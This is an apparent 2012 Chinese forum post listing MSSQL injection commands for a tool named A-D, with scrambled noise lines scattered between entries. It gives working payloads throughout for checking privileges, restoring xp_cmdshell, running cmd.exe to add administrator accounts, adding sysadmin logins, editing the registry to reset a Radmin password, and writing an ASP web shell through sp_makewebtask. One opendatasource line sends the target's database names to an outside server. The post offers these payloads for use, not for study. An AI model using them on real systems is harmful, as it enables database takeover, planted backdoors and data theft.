中国网络渗透测试联盟
标题:
阿D常用的一些注入命令
[打印本页]
作者:
admin
时间:
2012-9-13 17:26
标题:
阿D常用的一些注入命令
阿D常用的一些注入命令
! A z$ M5 z: x5 Y( ]/ k. v f
//看看是什么权限的
. z* m0 n) K6 H R4 p c% i1 ]+ J* v
and 1=(Select IS_MEMBER('db_owner'))
, f* t3 j+ b1 C
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
/ K3 h, }5 C6 Q
% A$ q3 j! I% n3 g/ h
//检测是否有读取某数据库的权限
. X8 q6 g# N6 ~% |: J7 x
and 1= (Select HAS_DBACCESS('master'))
; D9 @, x8 v' A6 t) g% W
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
+ [4 O; B. J" ^) _% ?+ O, v
& A# t" _2 X$ L7 B& ^* r
; p+ L+ i" L! g3 I* b$ M
数字类型
7 v9 D' j' k! o, E3 H6 X
and char(124)%2Buser%2Bchar(124)=0
7 l. J1 w7 Z2 D3 x I: [
+ g4 @; o& p }5 `) g
字符类型
9 m. i" w) A/ `
' and char(124)%2Buser%2Bchar(124)=0 and ''='
; G8 `% p& [$ [4 {3 h1 j
y$ h& e1 L8 V# H5 s2 F
搜索类型
i9 l/ y8 L8 W$ f
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
7 R+ w( A# N3 d8 Q1 t/ M8 z3 d" {
% U$ `6 Y2 }7 J( j: u: E. U
爆用户名
) Q% |5 Y; c0 l$ ~6 O* c
and user>0
$ O9 k: i7 U3 @# W4 w
' and user>0 and ''='
8 l3 x% S# I5 d2 D6 T; x' k3 S
\4 R" j5 I1 j! X& m* M
检测是否为SA权限
G5 f; s. ^" L4 e* J
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
O# ^0 S9 ^# ]" s( a; V
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
6 N# X6 Q4 v; ~* Q# r
; N O @7 p! ^+ v! n
检测是不是MSSQL数据库
/ k$ B) F' x& ~. o
and exists (select * from sysobjects);--
* j; c( C6 N: k2 Q& Z' g2 Z9 [
. \6 \: S* }+ F. V
检测是否支持多行
, \# S) F6 o3 j* O \# Z
;declare @d int;--
8 j, K- l$ j( z& d9 Q
' R" @5 I# @! I9 p9 x! s' V. M$ V
恢复 xp_cmdshell
% ~ I) s4 J' j: `. T5 p
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
2 I$ H; t7 h3 r S- q% Z
- }! K. Q& Q6 B8 t( H
* g. @& g1 j1 z) k$ S, R
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
3 T$ }& {! A) Y# ^" j! G
7 }* f. o2 m; k
//-----------------------
3 A7 ]5 M, ]* w7 {
// 执行命令
/ P( ?( o1 x' _: \# `' ?& A" A
//-----------------------
' r+ E# c0 T( V# V8 y- B4 t2 d3 m3 \8 o
首先开启沙盘模式:
& F y+ j J5 l4 e$ m) {5 D
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
2 x+ H5 \" g2 s5 a6 W/ b! H
4 w0 g0 ^" d8 `: U5 e, P! @; r
然后利用jet.oledb执行系统命令
$ X$ ^% }" J! e0 P
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
( n" j9 D& z. O' |0 ]5 f5 M' |
; K2 w4 B4 l% s9 A+ [/ A9 v. x2 f
执行命令
* _, [7 @. @+ U2 G0 \
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
* f) F% F- }8 {3 w0 f
% m& d2 T o+ k( M
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
! P0 [, R. h$ ?- `
7 v+ X4 [0 z9 [9 z x/ J% }
判断xp_cmdshell扩展存储过程是否存在:
' K5 ~# I( v, U! j( h/ e
http://192.168.1.5/display.asp?keyno=188
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
- C Q. R3 z0 t
& I( ], \/ ?/ B/ L! G1 X. x5 E; t
写注册表
; X! r6 D2 w N! Q" B6 B
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
( V3 q- D. L' V
! ~: n6 b7 w+ \( N) M
REG_SZ
# [4 e0 B$ n: g/ J
0 N3 [2 v4 r$ I) k" Z Y
读注册表
# }# `3 P: d7 ~$ A( z
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
5 g; {" E4 [/ P" [1 {6 q; x3 B
9 C" I: A& x3 H) u5 V( F, k
读取目录内容
9 ^+ \' v [" M+ |/ @
exec master..xp_dirtree 'c:\winnt\system32\',1,1
2 {! K' I0 s. g5 P& e6 d" ^
! c! v/ Q' m! M% c# ^3 \. B, E7 E3 f
" P( Q: {1 W8 C; i
数据库备份
. G. ], |" s8 o5 P1 g
backup database pubs to disk = 'c:\123.bak'
" l" A( y/ O) A8 p$ K; n4 e1 s, {
( ~: E. A. c8 B" @4 H! ^5 \
//爆出长度
e& |) a3 w- d$ \1 J# q
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
$ E! P! ^ M, D3 G7 s/ c9 X
8 v2 h& b0 k1 l: P" ]5 z
U. P3 Q; h% i9 q# S
# F5 `/ w: Z5 m* X, Q5 S
更改sa口令方法:用sql综合利用工具连接后,执行命令:
0 T1 h. O' \: q3 T
exec sp_password NULL,'新密码','sa'
0 u& v0 w b' {6 u
, j' Q& m. h) \2 ^4 n
添加和删除一个SA权限的用户test:
' K B( r# c8 d: o; A6 S5 W, Z2 @
exec master.dbo.sp_addlogin test,ptlove
; D* ~+ `6 l: t: N- B# j% l
exec master.dbo.sp_addsrvrolemember test,sysadmin
, R) T% C" L! c( Q
. E" L/ L. |! X8 @ S m
删除扩展存储过过程xp_cmdshell的语句:
5 f, M5 t# W) x* d3 V1 Y
exec sp_dropextendedproc 'xp_cmdshell'
0 R! W- Z, { t5 t1 X! B4 D; w, k( |% {
3 A; H- r5 J) H W+ Z0 ]# s" [( R
添加扩展存储过过程
: q: n0 z+ ^4 a+ }1 [7 K
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
* ]# e' _' n) o1 p! h) T
GRANT exec On xp_proxiedadata TO public
4 A# n- Z# Z0 l3 V, u
# E6 \0 r5 V! h' s0 a' G5 U8 N
c1 i( G g: T- G6 e/ @. f
停掉或激活某个服务。
: N6 E( w/ | U8 S5 o
0 r$ p; ~$ t" o
exec master..xp_servicecontrol 'stop','schedule'
% F4 g& \4 x2 k7 v( g% ]
exec master..xp_servicecontrol 'start','schedule'
3 h r3 }: c( L5 I+ g, b. w8 ]
$ W& h2 v9 z) r* Q: l9 ]: x
dbo.xp_subdirs
! N7 b- b: a3 m$ X1 M0 e
4 \, s1 M. M3 B8 V7 q) G- Z' g4 }
只列某个目录下的子目录。
1 X) P0 c* R/ m8 H7 Q& D6 d
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
: Z l% n6 k3 ] }$ N. F
9 J. W$ I$ y" b5 M. a8 d# G, y
dbo.xp_makecab
) _* F) w7 [% N% q5 t
+ u. q- d n8 G: o/ k
将目标多个档案压缩到某个目标档案之内。
7 Q8 H; g: q% t6 g
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
, l' K8 V& N+ M! |
/ u# X! [% U% T3 D3 S, u
dbo.xp_makecab
. H( O: ~! ]+ W F. v
'c:\test.cab','mszip',1,
0 |# x/ @) \+ H, U4 w( q, }0 s, W
'C:\Inetpub\wwwroot\SQLInject\login.asp',
8 [7 C' y) M; K# O( S5 l( K
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
8 I+ r* G) a x+ ]# X$ N% k
7 U" z4 J' E7 ^) P$ c
xp_terminate_process
7 @" ^$ F) [, ]* c2 i, K
! r+ ~0 {2 ~/ h/ o8 Q( S
停掉某个执行中的程序,但赋予的参数是 Process ID。
9 u X1 B- P" X. X# w$ _: ~
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
) z4 c4 G! a6 i! ~, V8 v
* Z0 g+ i# X2 l9 C$ i5 s& f- x2 {
xp_terminate_process 2484
1 ^# m/ x- A0 @2 r% j7 W) \
9 A5 m/ Z) R. y/ N" K1 X
xp_unpackcab
- Z9 ~' \+ B9 B2 x1 k* A" a$ r
! F2 }7 X! p Q6 z& z+ r( B
解开压缩档。
. y. {* u7 d" P0 P" R5 E8 Q
2 f* A& E P6 W+ A
xp_unpackcab 'c:\test.cab','c:\temp',1
2 ?9 f4 L. e7 U( b4 Q6 U
" A4 x# r/ o+ a
6 x* k+ F4 Z H* h* V$ R
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
6 O/ Q) N# S' {% K! x
$ v7 y1 l2 ]' B( g# P6 d* Y3 h% y
create database lcx;
3 H- F& a, D0 b& e/ V$ |5 D
Create TABLE ku(name nvarchar(256) null);
6 P2 N1 F( t' X5 l/ g8 L
Create TABLE biao(id int NULL,name nvarchar(256) null);
$ v' M+ T$ v9 M" n( q: w
; n2 N8 u" d% ~# p
//得到数据库名
/ n3 l! q3 Z! M
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
; s& m; u8 r+ N% d, d' i
~$ B( `' X8 U2 {, G
% X' \' B4 c, G9 L& P% X
//在Master中创建表,看看权限怎样
- o5 ^. p- \* j3 l- P
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
$ l5 T. v2 g& e: ?( |1 G+ T8 @
1 z! K/ M5 i$ v/ U' V& c# ? k
用 sp_makewebtask直接在web目录里写入一句话马:
# c8 H: M; o# B' e
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:
\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
/ _$ U: N9 c' G
7 |. p2 |. R% `. m& J0 `( M
//更新表内容
4 I; C, a1 V2 y$ N
Update films SET kind = 'Dramatic' Where id = 123
. R5 ~% n% e. G0 `: W8 M' W' ~0 b: P E
+ n) ~8 v$ Z4 h8 E& z1 E- U
//删除内容
' W3 ]- Q1 }" a Z) t0 F$ @+ L" {
delete from table_name where Stockid = 3
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2